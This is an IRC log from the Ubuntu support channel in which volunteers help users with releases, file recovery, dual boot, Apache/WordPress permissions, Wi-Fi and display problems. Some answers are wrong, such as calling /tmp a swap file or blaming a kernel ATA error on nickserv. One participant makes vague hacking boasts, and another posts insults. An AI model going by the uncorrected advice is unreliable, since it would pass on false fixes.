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cfhowlettbenisigh, thankks07:03
ax562android open source project07:03
benisighyeah sorry about that ya'll07:03
kevdogsays on the aosp website that for newer version greater than 2.3.x -- 64bit is required07:04
woolike looping x sessions on the same machine07:04
histoax562: ubuntu 12.04 is the long term support version 12.10 is not.07:04
histo!releases | ax56207:04
ubottuax562: Ubuntu releases a new version every 6 months. Each version is supported for 18 months to 5 years. More info at https://wiki.ubuntu.com/Releases & http://wiki.ubuntu.com/TimeBasedReleases07:04
ax562@kevdog i got that already, thats what started all of this07:05
ax562;)07:05
benisighIf i just want to use it as a file server would ubuntu be suffient? or is there a server build?07:05
histoax562: choice is yours. 12.10 has updated packages considering it was released 6 months after 12.04 but it's only supported for 18months07:05
kevdoghttp://source.android.com/source/initializing.html07:05
cfhowlett!server|benisigh,07:05
ubottubenisigh,: Ubuntu Server Edition is a release of Ubuntu designed especially for server environments, including a server specific !kernel and no !GUI. The install CD contains many server applications. Current !LTS version is !Precise (Precise Pangolin 12.04) - More info: http://www.ubuntu.com/products/whatisubuntu/serveredition - Guide: https://help.ubuntu.com/12.04/serverguide/C/ - Support in #ubuntu-server07:05
histobenisigh: there is a server iso It will install a command line system07:05
ax562yeah but is it better for compiling android source vs 12.04?07:05
kevdogsorry misread your question07:05
histo!better | ax56207:05
ubottuax562: Usually, there is no single "best" application to perform a given task. It's up to you to choose, depending on your preferences, features you require, and other factors. Do NOT take polls in the channel. If you insist on getting people's opinions, ask BestBot in #ubuntu-bots.07:05
cfhowlettbenisigh, there is also a channel #ubuntu-server07:05
histodead channel07:06
wooquick poll who prefers Graphical User Interface and who prefers Terminal?07:06
kevdogsure is07:06
kevdog@woo -- I see what you did there07:06
cfhowlettwoo, no polls here try please07:06
wooI just wanted to know sorry07:06
iterwoo, the answer is yes07:07
wooyes for both.  hmmmmmmmmmmm07:07
DJJeffI put some files in /tmp rebooted and now they are gone whats the best way to get them back ?07:07
kevdogyou cant07:07
iterDJJeff: they are gone07:07
DJJeffreally ?07:08
kevdogthat was the swap file07:08
cfhowlettDJJeff, WHY would you put files in /tmp?  those get flushed on reboot07:08
kevdogk07:08
kevdogwhat that /tmp or ~/tmp07:08
nyuszika7h/var/tmp maybe?07:09
kevdogdont worry -- I've made that mistake before  ::facepalm::  only one however07:09
nyuszika7halso, /tmp is not a "swap" file, it's a tmpfs (ramdisk), stored in RAM :P07:09
DJJeffpeople are telling me I can recover a superblock from /tmp  even after reboot07:09
kevdognever again07:09
histoDJJeff: undelete07:09
histo!undelete | DJJeff07:10
ubottuDJJeff: Some tools to recover lost data are listed and explained at https://help.ubuntu.com/community/DataRecovery - Recovering deleted files on !ext3 filesystems can be virtually impossible, although methods that might work is some cases are described at at http://www.xs4all.nl/~carlo17/howto/undelete_ext3.html and http://projects.izzysoft.de/trac/ext3undel07:10
nyuszika7hhow could you recover the RAM after reboot?07:10
nyuszika7hDJJeff: that reminds me when I went with Debian's default and used /var/run/ircd07:10
nyuszika7hon next reboot, boom, my IRC server was gone07:10
histonyuszika7h: default /tmp is not ramdisk07:10
nyuszika7hit's not?07:10
histonyuszika7h: take a look at mount07:11
nyuszika7hI don't have ubuntu because my old laptop will give "EDD: Error X reading sector Y" errors when booting Kubuntu or openSUSE from an USB stick. the ISO's checksum is correct, tried two USB sticks and 4 ports.07:12
histonyuszika7h: ahh it's controlled by /etc/default/rcS07:13
histother eis a tmptime=07:13
cfhowlettnyuszika7h, that sounds like a failing usb ... they do go bad.07:13
cfhowlettnyuszika7h, eesh.  nevermind.  didn't read.07:13
DJJeffso /tmp doesnt reside on the hdd only in ram ?07:13
nyuszika7hfwiw tried mouse's port too07:13
histonyuszika7h: My commend was in regaurds to /tmp being cleaned on boot07:14
histoDJJeff: it's on the hdd07:14
histoDJJeff: atleast in ubuntu07:14
woo!testdisk | DJJeff07:14
woonyuszika7h: hak507:14
woonyuszika7h: you use a can of air and usb07:14
nyuszika7hwhat?07:14
nyuszika7hno hardware virtualization either (it's a Pentium M 740), after some messages I get a black screen in VirtualBox07:14
histoDJJeff: you need to immediately stop using your disk. if you want a chance at recovering the files. Remote / ro07:15
DJJeffI am booted off live cd at the moment07:15
woonyuszika7h: what do you use for ur bootloader?07:15
kevdoghold on -- virtual memory is split between /swap and RAM -- if the file was in RAM its gone07:16
nyuszika7hNTLDR (Windows XP), but the USB boots fine, I'm just getting errors about reading sectorx07:16
nyuszika7hsectors07:16
histoDJJeff: Okay what type of files were they that you are looking for?07:16
nyuszika7hI think the message comes from ISOLINUX, because it appears on both live USBs.07:17
DJJeffflash files (.swf)07:17
histoDJJeff: on the live cd            sudo apt-get install testdisk07:17
histo!undelete | DJJeff Follow these directions07:18
ubottuDJJeff Follow these directions: Some tools to recover lost data are listed and explained at https://help.ubuntu.com/community/DataRecovery - Recovering deleted files on !ext3 filesystems can be virtually impossible, although methods that might work is some cases are described at at http://www.xs4all.nl/~carlo17/howto/undelete_ext3.html and http://projects.izzysoft.de/trac/ext3undel07:18
nyuszika7hI have an Ubuntu 10.04 LTS CD which boots fine, but it's very old (almost 500 updates from lucid-security)07:18
kevdognight guys --- I'm glad the discussion was lively tonight :)07:19
cfhowlettnyuszika7h, and 10.04 is end of life in a few weeks07:19
nyuszika7hit is? :O07:19
cfhowlett!eol07:19
ubottuEnd-Of-Life is the time when security updates and support for an Ubuntu release stop, see https://wiki.ubuntu.com/Releases for more information. Looking to upgrade from an EOL release? See https://help.ubuntu.com/community/EOLUpgrades07:19
nyuszika7hon servers too? just wondering, not like I'm going to use it07:19
cfhowlettnyuszika7h, 10.04 on the desktop has 36 months, server has 60 months support07:20
nyuszika7hoh07:20
cfhowlettnyuszika7h, fwiw 12.04 has 5 years support on both07:20
nyuszika7hah, nice07:20
nyuszika7hbut for desktop I'll end up installing the latest version probably, anyway07:20
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SuperLagAny of you guys remap keys on your keyboard?07:23
wooSuperLag: for language support?07:23
SuperLagwoo: not for language support... as much as wanting to make the Caps Lock key actually useful. :)07:24
SuperLagwoo: I want to swap Control and Caps Lock07:24
SuperLagwoo: very easy to do on my Macbook Pro, in OS X. More hackery required with Linux. :)07:24
wooSuperLag: ?? why hack with ubuntu?07:25
histo!keys | SuperLag07:25
ubottuSuperLag: Keyboard shortcuts can be set in System -> Preferences -> Keyboard Shortcuts. If your multimedia keys don't work with that, try the 'keytouch' package, explained at http://keytouch.sourceforge.net/ - See !Keyboard for changing layouts. A list of keyboard shortcuts for Unity is available at http://ubottu.com/y/shortcuts07:25
Kartagisexec("cat /home/xen.txt"){ echo $1; }07:25
histoKartagis: ?07:26
Kartagisso, I'd installed !xen a long time ago, and now I need to switch kernels. when I do, I get "/bin/sh: error while loading shared libraries: libc.so.6: cannot open object file: No such file or directory". I also upgraded the kernel, and I get the same message. why am I getting that? I've got /lib/i386-linux-gnu/libc.so.607:26
woohacking with ubuntu is not in default repos07:27
SuperLagwoo: that must have changed recently... because the last time I looked, it involved changing codes in a config file07:28
ax562@all OK.  Looks like I'm going with 12.04 64bit07:28
ax562Thank you all for all the great advise!07:29
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wooSuperLag: just im just upset the aircrack suite is gone07:30
wiggmpkwoo: thats "cracking", not hacking..07:30
cfhowlett!ot07:30
ubottu#ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!07:30
woocfhowlett: @who?07:31
cfhowlettwoo, gentle reminder to all ... now let's do some ubuntu support!07:32
wooYeaaa for Ubuntu for some reason nmap see's my ubuntu laptop as having all ports closed with all scans!07:33
nyuszika7hwoo, maybe because of UFW?07:33
nyuszika7hsudo ufw status verbose07:34
MatthewLDoes Ubuntu use iptables?07:34
nyuszika7hyes, UFW is a frontend to netfilter/iptables07:34
histo!info aircrack | woo07:34
ubottuwoo: Package aircrack does not exist in quantal07:34
histoMatthewL: yes07:34
histowoo: I thought it was in universe07:34
nyuszika7h!info aircrack universe07:34
ubottu'universe' is not a valid distribution: extras, hardy, hardy-backports, hardy-proposed, kubuntu-backports, kubuntu-experimental, kubuntu-updates, lucid, lucid-backports, lucid-proposed, medibuntu, oneiric, oneiric-backports, oneiric-proposed, partner, precise, precise-backports, precise-proposed, quantal, quantal-backports, quantal-proposed, raring, raring-backports, raring-proposed, stable, testing, unstable07:34
nyuszika7hfail07:34
histowoo: http://packages.ubuntu.com/quantal/aircrack-ng  It's there07:34
woohisto: I can get it07:34
MatthewLHow would I configure a firewall with iptables?07:35
bauhi all I installed lammp using tasktel and I can't find the install dir of lampp on my ubuntu (typically is in /opt) how can I find it?07:35
nyuszika7h"stable, testing, unstable" sounds like debian07:35
DJJeffwoo there is also aircrack svn :)07:35
MatthewLbau try /var/www07:35
wooI only like aircrack for customer education07:36
woojust sad it was gone07:36
FrekholmHi! New to Ubuntu. Can I install Ubuntu beside Windows but on a different drive?07:36
SuperLagwoo: and how exactly would that help you educate customers?07:36
MatthewLConfiguration in /etc07:36
woofeel like I can trust you guys not to use it on me right?07:36
histowoo: It's not gone07:36
nyuszika7hFrekholm: different hard drive or different partition on the same HDD?07:36
histo!firewall | MatthewL07:37
ubottuMatthewL: Ubuntu, like any other Linux distribution, has firewall capabilities built-in. The firewall is managed using the 'ufw' command - see https://help.ubuntu.com/community/UFW | An alternative to ufw is the 'iptables' command - See https://help.ubuntu.com/community/IptablesHowTo | GUI frontends such as Gufw (GNOME) and Guarddog (KDE from Lucid onwards) also exist.07:37
bauMatthewL, in /var/www there is only my site dir07:37
Kartagisany ideas?07:37
Frekholmnyuszika7h: different hard drive07:37
wooSuperLag: lets join ubuntu-ot07:37
DJJeffsteam came to linux so I noticed opengl updated and since opengl updated my gfx are all messed up07:37
nyuszika7hit should be possible, though I've never installed it like that07:37
MatthewLbau /etc/apache07:38
KartagisFrekholm: of course, just mark the drive when asked07:38
wooI am the only one in ot07:38
DJJeffsomething todo with Allow Flipping in my nvidia settings and when I turn on Framebuffer object in compizconfig my screen goes black07:39
nyuszika7hwoo:07:39
nyuszika7h#ubuntu-offtopic07:39
woo:(07:39
bauMatthewL, There is /etc/apache2 but it has only few dirs: conf.d mods-available mods-enabled sites-available sites-enabled07:40
FrekholmIs it that easy? So I choose install beside windows and the choose another drive?07:41
MatthewLBetween /etc/init.d and what you mentioned, that is all there is to Apache07:41
histo!dualboot | Frekholm07:41
ubottuFrekholm: Dual boot instructions: x86/AMD64: https://help.ubuntu.com/community/DualBoot/Windows - Macs: https://help.ubuntu.com/community/MacBookPro https://help.ubuntu.com/community/YabootConfigurationForMacintoshPowerPCsDualBoot07:41
histoMatthewL: What are you trying to do?07:42
wooFrekholm: using windows still?07:42
bauMatthewL, where can I find php errors in the web server logs?07:42
wooFrekholm: you want to defrag before a duel boot07:42
MatthewLhisto: educate bau07:42
histobau: /var/log/*07:42
histoahh07:42
wooFrekholm: only like 10gb ext has ever survived with both on my machines07:43
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MatthewLLots to learn about the web by learning Apache configurations bau07:43
FrekholmIm kind of lost in Ubuntu but curious07:43
DJJeffunity is so gross I use Xfce heh07:44
Jordan_Uwoo: Frekholm: There is no need to defrag before resizing a an ntfs filesystem with ntfsresize, from the man page: "Defragmentation is NOT required prior to  resizing  because  the program   can  relocate  any  data  if  needed,  without  risking  data integrity."07:44
MatthewLLxde forever07:44
histoFrekholm: It's easy you just need to install ubuntu to the other drive and install grub to the mbr of your windows disk.07:44
histoFrekholm: or you can instlal both on one drive choice is yours07:44
wooJordan_U: really? how is that.  When did that change?07:44
Jordan_Uwoo: It has been that way for many years.07:45
wooJordan_U: then I am not good at it07:45
wooI have even crashed virtual sessions with the same bug07:46
Jordan_Uwoo: Please report said bug.07:46
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NoorideenJordan_U,07:48
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wooJordan_U: I cant atm07:49
Jordan_UNoorideen: Yes?07:50
wooJordan_U: I need vb on a 500+ gb and Im at max server storage07:50
NoorideenJordan_U,  nah nothing i just thought that you are from Jordan.07:51
woocan I install windows in linux?07:51
Kartagisnope07:52
Kartagiswoo: actually if you install virtualbox on linux, you can install windows in that07:52
wooKartagis: not vb actual duel boot07:53
woosorry Kartagis "Not virtualbox install.  I am trying to write windows to the MBR from an ubuntu machine"07:54
Kartagiswoo: that is not something you do IN linux07:54
wooKartagis: if I use gparted and dd I might be able to. :)07:54
woo!wubi | woo07:56
ubottuwoo, please see my private message07:56
bauMatthewL, how can I change the permission of /var/www/my_site so evryone can read/write on it?07:59
MatthewLI love you, ubottu08:00
wooKartagis: looks like I could use fdisk08:00
Kartagiswoo: I'd be exremely careful with that08:00
woo!fdisk | Kartagis08:01
woono kidding08:01
MatthewLbau: chown -R user:user /var/www08:01
Kartagiswoo: I'm guessing fdisk will not serve what you want to achieve08:01
MatthewLWhere user is you and your group bau08:02
bauthanks08:02
Noorideenbau08:02
Noorideenbau, is it working now?08:03
wooKartagis: I have it but its not safe08:03
bauyes It seems working08:03
MatthewLbau you'll probably want to limit permissions with chmod 755 or 644, though.08:03
bausudo chmod 755 /var/www ?08:04
MatthewLAfter you chown, you don't need to sudo.08:04
bauok08:04
Noorideenbut maybe he can make a symbolic link?08:05
wooNoorideen: that seems like a pratical solution.  Is that what you use?08:05
Noorideenwoo, yes08:06
Noorideenits better than messing with the permissions, right?08:06
wooNoorideen: it is the diffrence between passive and active08:07
MatthewLWell...  I just told my Ubuntu setup in a nutshell.08:07
wooNoorideen: im so tempted to just throw up some chmod that is totally fun08:08
MatthewLI still don't know what symbolic link s would really do for the situation08:08
wooMatthewL: if I got uid with sudo just by u being on irc its a nice shot08:09
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MatthewLHunh?08:10
NoorideenMatthewL, i am new so, i kept trying everything i find on google. i ruined my linux twice :P. but now i am on ubuntu and i tried a symbolic link, which is working fine for me08:10
wooMatthewL: hard to hack a droid though08:11
MatthewLOk, do you have a lamp server setup? (I've crashed my systems many times, and have become very skilled)08:11
linusoleanderIs there a way to mimic a users environment settings when running a cronjob?08:12
MatthewLwoo do you Android?08:12
wooMatthewL: yes I do have a LAMP up but I dont use it.08:12
NoorideenMatthewL, yes i do, you cant be right right from the first you have to do some trail and error (:08:12
Noorideenlol08:12
MatthewLWhole heartedly agreed!08:12
Noorideendoes anyone how to raise up the volume on youtube with no mouse?08:13
MatthewLWithout a separate remote hosting server, a lamp setup can give great practice.08:14
wooMatthewL: I run ubuntu server just to sit there and flip switches.  And if recon is good enough firewalls wont even care.08:15
Noorideenwoo, why ubuntu server?08:15
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wooNoorideen: ports ports ports08:15
Guest52789yeeeeeessss finally got it running08:15
wooGuest52789: Grats!08:15
Noorideenwoo, ah i see08:16
wooNoorideen: ubuntu is very good about logging08:16
wooNoorideen: not quite selinux but fair and clear08:17
Noorideenguys srsly no one knows how to raise up the youtubes volume without using mouse?08:17
MatthewLWhat do you mean woo, about recon?08:17
Noorideenwoo, i am new to linux and ubuntu etc. this is my 5th game using it :P08:17
Noorideenstill learning08:17
Guest527896 hours of troubleshooting thank you [insert name of  acceptable divine figure]!!08:17
MatthewLGreat classes I've taken in Linux, too08:18
wooNoorideen: you keep count?08:18
wooNoorideen: hey try to keep that count08:18
Guest52789yea didnt have this much tuble the fist time lol08:18
Noorideenwoo, why?08:19
wooNoorideen: I lost count08:19
MatthewL An i++ thing?08:19
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wooMatthewL: oh ya ubuntu-offtopic08:19
Noorideenwoo, i will lose it for sure08:19
gau1991hi08:20
woogau1991: hi08:20
wooMatthewL: I will explain with I mean about recon08:21
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Guest52789did anybody have an issue with  compiz 12.1008:21
wooGuest52789: crashed my x and uninstalled part of unity for me08:22
wooGuest52789: wait not 12.10 if that is what you mean by distro I was on 12.0408:23
Guest52789i couldnt get around it. running 12.0408:23
wooGuest52789: did you get ur x back?08:23
Guest52789yes woo: everything optimal now08:24
wooGuest52789: ya don't know how I even broke it08:24
Guest52789woo: u didnt. apparently its a common bug08:25
Guest52789woo: r u running of a driv or virtual machine?08:25
wooGuest52789: hdd08:26
PadNet_201So here's a question. Say i wanna report a program crash, which repos do i need to add these necessary programs08:27
Guest52789woo: strange. prob coz u have gfx same as me08:28
aeon-ltdPadNet_201: you talking about apport?08:28
PadNet_201The regular crash reporter w/ 12.2, I allow the backtrace to run, but it says addt'l software to install, I click forward and it says I need to add a repo it can't find the necessary software08:29
Guest52789i am running a lower res than my dispalay can i get help changing resolution  1920x108008:31
bauMatthewL, I have still problems with /var/www permissions: I'm using wordpress & if I want to change a theme for example, it says that it can't write in the folder08:33
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clul355n00bnightall08:35
killerwhat package will contain cstring library in ubuntu 12.1008:36
MatthewLbau what permissions is wp and who owns it?08:37
bauMatthewL, drwxr-sr-x  5 ettore ettore 4096 Feb 21 09:06 wordpress08:38
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maxygashi08:38
maxygaswhat should i do if ifconfig dont shows my usb wifi ?08:39
bauMatthewL, can' t I give 777 to /var/www/wordpress?08:40
MatthewLbay no!08:41
MatthewLTry 644 our 755, never 777.08:42
MatthewLbau are you ettorre?08:43
bauyes08:43
bauettore08:43
MatthewLHmm08:43
baubtw with 644 I can't go to site, 755 the server can't wrtite in the dir08:44
MatthewLbau oh!08:44
MatthewLIts a WordPress thing. You may need ftp configured within WordPress08:44
Zer0GlitchHey guys... Total newb question: Once I've run tar -zxvf to extract a package, how do I install it?08:45
bauyou sure? it's alla working in my local server, and now I wanted only to change the theme...08:46
Zer0GlitchE.g. "tar -zxvf kpowersave_0.7.3.orig.tar.gz"08:46
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MatthewLThat had to be configured in the admin part of WordPress08:46
bauMatthewL, I tried sudo chown -R www-data:www-data /var/www it seems working08:47
keplerZer0Glitch: normally cd to the directory it untarred to and ./configure then make then make install -- not sure about that particular thing though, looks like something you would import with KDE's interface somehow08:47
MatthewLOh great!08:48
MatthewLSounds good bau08:49
bauhow can I add me to www-data group?08:49
MatthewLGood question.08:51
MatthewLI will be learning that soon.08:51
bausudo useradd -g www-data ettore ?08:52
bauno08:52
bausudo usermod -a -G www-data  ettore ?08:52
Kartagisbau: sudo useradd -a ettore www-data08:52
bauthanks :D08:53
Kartagisbau: sorry, it's gpasswd, not useradd08:53
bauright it working08:54
bauhum, still I can't modify /var/www files ...08:54
MatthewLYou don't own them anymore?08:56
roxkYuhello..08:56
maxygasheloo08:56
roxkYuis the ubuntu phone OS out yet?08:56
maxygascan you help me?08:56
MatthewLGood night.08:56
Kartagisbau: log out and back in08:57
bauok08:57
bauI'll try that later, now I can't08:57
rdavroxkYu, dunno, chk out channel #ubuntuphone they might tell you more there...08:58
roxkYuok..thanks for the headup08:58
PorknailsHi08:59
PorknailsCan a08:59
PorknailsCan anyone help me with a boot error of Ubuntu pls?09:00
rdavroxkYu, #ubuntu-phone09:00
roxkYuok..thanks.09:00
roxkYunot out yet09:02
Zer0GlitchHey guys... I have Ubuntu 12.4 LTS and I tried installing kpowersave (a battery status icon and power configuration tool) and got the following response while using ./configure:09:03
Zer0Glitch"checking build system type... i686-pc-linux-gnu09:03
Zer0Glitchchecking host system type... i686-pc-linux-gnu09:03
Zer0Glitchchecking target system type... i686-pc-linux-gnu09:03
Zer0Glitchchecking for a BSD-compatible install... /usr/bin/install -c09:03
FloodBot1Zer0Glitch: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.09:03
Zer0Glitchchecking for -p flag to install... yes09:03
Zer0Glitchchecking whether build environment is sane... yes09:03
Pedro2Hi09:03
Zer0GlitchSorry about that...09:04
Pedro2Can anyone help me with a boot error please?09:04
Zer0GlitchOkay, so, I had a problem readout when I was attempting to install kpowersave on my IBM laptop. Perhaps someone here can help me figure out how to fix this. Here is the URL for the output I received: http://paste.ubuntu.com/1697937/09:04
the_ratHello09:06
the_ratCan I launch multiple services from within a single Upstart script?09:07
the_ratI want to control (start/stop) all the processes together09:07
chovyhow do i enable remote desktop connections from the command line?09:08
chovyi'm running 12.1009:08
bauKartagis, I tried to log out but still can't copy files09:09
alumnohola09:10
Kartagisbau: what does ls -ld /var/www tell you09:10
alumno2314EY09:10
alumnoxd09:10
alumnojhason09:10
bauKartagis, drwxr-sr-x 8 www-data www-data 4096 Feb 21 09:05 /var/www09:10
Kartagisbau: what does id tell you?09:10
alumno2314eh!09:10
alumnopenishes09:10
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alumno2314Hello everybody09:10
alumnohello bitch09:10
bauKartagis, which id?09:11
alumno2314Your fucker mother09:11
Kartagisbau: id, the command09:11
Kartagis!ops | alumno231409:11
ubottualumno2314: Help! Channel emergency! (ONLY use this trigger in emergencies) - elky, Madpilot, tritium, Nalioth, tonyyarusso, PriceChild, Amaranth, jrib, Myrtti, mneptok, Pici,  jpds,  gnomefreak, bazhang,  Flannel, ikonia, maco, h00k, IdleOne, bkerensa, nhandler, Jordan_U, DJones or k1l!09:11
bauKartagis, uid=1000(ettore) gid=1000(ettore) groups=1000(ettore),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),109(lpadmin),124(sambashare)09:11
alumnojhason09:11
wooalumno: you stop being as texan as you want to be.  Im holdin it back09:12
alumnovhau putos09:12
Kartagisbau: try chmod 775 /var/www/09:12
bauKartagis, with sudo?09:12
wooPor que09:12
woo!es | woo09:12
ubottuwoo, please see my private message09:12
Kartagisyes bau09:13
bauKartagis, now every dir has a lock in the logo, btw still the same, can't wrtie09:14
Kartagisbau: do that on console09:14
baucp file in the dir from cmd?09:14
demoniohi all i installed chromium and now i have to install adobe flash player, i want make it by terminal, is it possible? if the answer is "yes" can anyone help me?09:15
auronandace!flash | demonio09:16
ubottudemonio: To install Flash see https://help.ubuntu.com/community/RestrictedFormats/Flash - See also  !Restricted and !Gnash09:16
aaaaa_hi all09:17
demonioauronandace what do you mean with !flash?09:18
auronandacedemonio: look at ubottu's message09:18
Noorideengood night!09:18
demonioit explains how to make it by software center but if is it possible i want make it by terminal09:20
tgunrhttp://ubuntuforums.org/showthread.php?t=199134709:21
demonioI had chromium no firefox09:22
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demoniotgunr09:22
maxygashi09:22
cordenwhat the direct channel to ubuntu phone/tablet devs. thanks09:22
jpdscorden: #ubuntu-tablet ?09:22
cordenthanks jpds09:23
maxygaswhat can i do if after install ifconfig,iwconfig shows no wireless conn?09:23
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woomaxygas: additional harware09:24
cordenhi jpds, empty channel09:24
cordendoes anybody here able to install ubuntu-sdk on ubuntu 12.04?09:24
maxygastp link tl wn722n09:25
maxygascompat driver installed too09:25
auronandacedemonio: sudo apt-get install flashplugin-installer09:25
cordenunable to install ubuntu-sdk to 12.04 since qtchooser always return an error09:25
jakob____hi09:29
jakob____i have a question about the sys reqs for a server - like can i start one irc server with 1gb of ram and 1 ghz and 20gb09:30
demoniothanks auronandace it works :)09:30
DarkSimDoes anyone in here have extensive knowledge of Remmina?09:34
Pedro2Can anyone help me please? I'm a Ubuntu newbie ^^09:36
user__hello where does ubuntu 12.10 writes down the wifi settings? Its not available in /etc/network/interfaces or /etc/wpa_supplicant.conf09:36
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gabkdllyPedro2, What do you need help with ?09:39
Pedro2I have a boot error. It's shows a09:40
Pedro2This message:09:40
Pedro2Ata_id [298]:009:41
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Pedro2Hdio_get_identity failed09:41
Pedro2I'm sorry about the spam :/09:42
invariantWhy is the password length for an e-mail account limited in evolution?09:42
Joschiihihi09:44
woohi Joschii09:45
Pedro2Also a message pops up saying my display settings are broken and I need to manually reconfigure them, but when I try it doesn't work09:45
wooPedro2: #freenode09:45
Pedro2woo what?09:46
woo /join freenode09:46
woothey can help you w/ ur nick settings09:46
zaggynlhi, anyone got a virtualbox win7 guest bridge to an ubuntu 12.04 wifi working yet?09:46
Pedro2woo If I don't login I can't speak?09:47
Myrttiwoo, not with *display* settings09:47
zaggynlthe win7 guest isn't getting an ip address09:48
woo< Pedro2> Hdio_get_identity failed sounds like a nickserv issue09:49
MyrttiPedro2: you are speaking :-)09:49
tgunrI'm a little confused by something, if I stall a package via apt-get and it starts a daemon, should it show up in service --status-all?09:50
Pedro2woo, this is a error I get when booting ubuntu09:50
llutzwoo: what? thats a kernel-message about failing ATA commands09:50
llutzPedro2: usually you can ignore that09:50
Pedro2Myrtti thank you, I wasn't sure ^^09:51
woollutz: whow Then Pedro2 I have no idea what is going on anymore09:51
Pedro2llutz I can't use the gui of ubuntu09:52
llutzPedro2: i referred to "Hdio_get_identity failed"09:52
woollutz: oh pastebin stuff, got it.09:53
Pedro2llutz ahhh, so it's 2 diferent errors?09:53
Krallehello09:53
wooHi Kralle09:53
mvt007geekwhat is fread, fwrite in iozone benchmark?09:53
KralleAnyone can help me setup Znc irc bouncher on windows? i have teamviewer on the computer if you wanna help me.09:53
wooKralle: haven't used windows in years09:54
Krallewoo: so you cant help me?09:54
John__woo, good for you09:54
Kralleit because i dont know how to setup the server :)09:54
llutzKralle: http://wiki.znc.in/ZNC09:55
dr_williserr... znc is very very well documented09:55
mvt007geekwhat is fread, fwrite in iozone benchmark?09:55
fidelhi, is there a way to 'colorize' files in nautilus? i am used to that function from my mac os x days (finder labels) and it was somehow helpful to highlight specific files in a folderview09:55
Krallellutz you can help me setup the server?09:55
dr_willis;)09:55
llutzand windows is not really scope of this channel09:55
dr_willisKralle:  when you run it the first time as a user.. it has a wizard .... what havec you actually done to set up the znc server?09:56
Kralleare there channel for windows then?09:56
Kralleon this network?09:56
llutzKralle: read the documentation, try it , come back if you really have problem (ubuntu-related)09:56
dr_willisyou are using znc on windows?09:56
llutz#windows09:56
Krallei have problems yes09:56
llutzubuntu-related..09:57
wooIs there a geographical traceroute in canonical?09:58
dr_williswoo huh?09:58
woodr_willis: Im using default repos for applications cant find a visual traceroute09:59
thiefymy server is using lxde ubuntu   -   how can i make x11vnc on that server start before i have to login to the desktop?  meaning, if the computer reboots, i want to be able to vnc to it, and then login to the desktop enviroment.09:59
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dr_willisthiefy:  i belive the askubuntu.com site had some info on getting lightdm to start up x11vnc10:00
moooooi've seen old / obsolete info...10:00
Pedro2llutz how do I resolve the display/graphics card error? None of the options they give me works10:00
dr_willismooooo:  is this a headless server?10:00
llutzPedro2: i can't help, i don't deal with graphics10:01
woollutz: you use traceroute?10:02
llutzi do10:02
woollutz: there are visual traceroute applications for getting a geographical display on each hop10:02
llutzwoo: maybe, i also don't use that. traceroute [options] host              is what i need some time10:03
woollutz: I use etherape and iptraf they can get by but smash it all into a consol and its super easy to understand quickly10:04
llutzwoo: and what is the use of some graphical geoip-tracing? for me it is enought to know WHERE (ip-wise) it hangs, not where that host is located10:05
user__where is my wifi information stored in ubuntu 12.10?10:06
woouser__: did you try ifconfig or iwconfig for wlan010:06
Pedro2Anyone can help me with display/graphic card problems?10:07
user__iwconfig10:07
woouser__: try that in terminal10:07
user__woo: but i am looking for a configuration file10:07
Pedro2llutz thanks anyway10:07
user__where is it stored in a configuration file?10:07
woouser__: its not in iwconfig its in ifconfig10:07
woouser__: what are you trying to do?10:08
freedytry10:08
llutzuser__: have you checked /etc/NetworkManager/system-connections/ ?10:08
vnc786i am having ubuntu 12.04 64 acer lcd thru VGA now i have added another LED with HDMI port so can i share my screen at the same time with LED ?10:08
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user__thanks llutz thats exactly that i want to do10:09
woollutz: have you used armitage?10:09
llutzwoo: no10:10
lundyhow are we all10:10
woollutz: the benefit of a gui is a lot more point and click but it offers a map to refrence with saved whois so you don't have to run it over and over if you forget an admin phone number10:11
woollutz: you can build it out on marble but marble keeps giving me road maps and not straight lines10:12
llutzwoo: no need here10:13
dr_willisvnc786:  you should be avble to clone the screen to all displays10:13
vnc786dr_willis: at LED connected through HDMI is not getting any output on screen ..but i click on Workspace Switcher it show me 4*210:15
dr_willisvnc786:  check your monitors/displays tool. and see if you  can mouse over to the sides/top/buttom and make the pointer vanish off the screen'10:16
dr_willisvnc786:  ive seen some pcs act odly if both monitors are not plkugged in when the system powers up10:16
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vnc786dr_willis: System Setting --Display window not coming10:18
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dr_willismight be worth the effort to reboot with both  montots plugged in and powered up. Ive seen some video  cards do weird things when hotplugging monitors10:19
vnc786FYI right now 1. vga capble is connected and i am thru that getting console 2. hdmi cable hot plugged  but no display is coming ..10:20
dr_willishad a weird thing yesterday.. pligged  the tv into my main pc via a dvi->hdmii cable.. and somehow it became the main sound output.. i dident even think dvi could do sound out. ;)10:20
FREEDYhow can i see all channels10:20
dr_willis!alis | FREEDY10:20
ubottuFREEDY: alis is a services bot that can help you find channels. Read "/msg alis help list" for help and ask any questions about it in #freenode. Example usage: /msg alis list #ubuntu* or /msg alis list *http*10:20
FREEDYthanks10:21
dr_willisvnc786:  i would suggest trying  a restart of the X server. or a reboot.. that might clear things up..10:21
vnc786w8 doing that and coming back ..10:21
dr_willisas ive said.. ive seen pcs do weird things when monitors are not plugged in at boot up10:21
dr_willisseen weird things with  those kvm switches also. ;)10:22
CC__? Hi! How do I find out which versions of MySQL server is default in the different versions of Ubuntu server and in future releases? I need a confirmed result, not just a random forum post. What to look for?10:25
hoijuisince a very recent update, the mouse seems to work bad, as in.. it lags/jumps (tested on two different systems with different mice)10:25
hoijuiis thsi a known issue?10:25
hoijuimy (poor) guess would be a kernel regression10:26
llutzCC__: "apt-cache depends mysql-server"10:26
llutzCC__: or http://packages.ubuntu.com/search?keywords=mysql-server10:27
dr_willisCC__:  ive seen the disrtowatch  web site also  so a table of versions of specific apps in differnt disrots/releases10:28
CC__LLUTZ: Cheers! Thats exatlt what I needed.10:28
packetfrogIs there a program that will tell me all my hardware that is detected?10:30
dr_willis!info hwinfo10:30
ubottuhwinfo (source: hwinfo): Hardware identification system. In component universe, is optional. Version 16.0-2.2 (quantal), package size 17 kB, installed size 99 kB10:30
packetfroginstalled by default rather10:30
packetfrogoic10:30
packetfrogThank you.10:30
dr_willisthen theres some others in the repos also10:30
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packetfrogThat will do fine, just wanted to see if there was one generally preinstalled before I downloaded something. thank you!10:31
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LinaSovereignHey !10:39
dr_willishmm10:41
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guest-8qkU2mHi. I need help, I just updated the computer running ubuntu of my wife, and now nothing works anymore. she'll kill me when she gets home, I need to fix this10:49
guest-8qkU2mi just installed the regular updates, it required a reboot. now the unity desktop isnt working. i have the desktop background, but no menu bar on either left or top, and no way to execute applications10:50
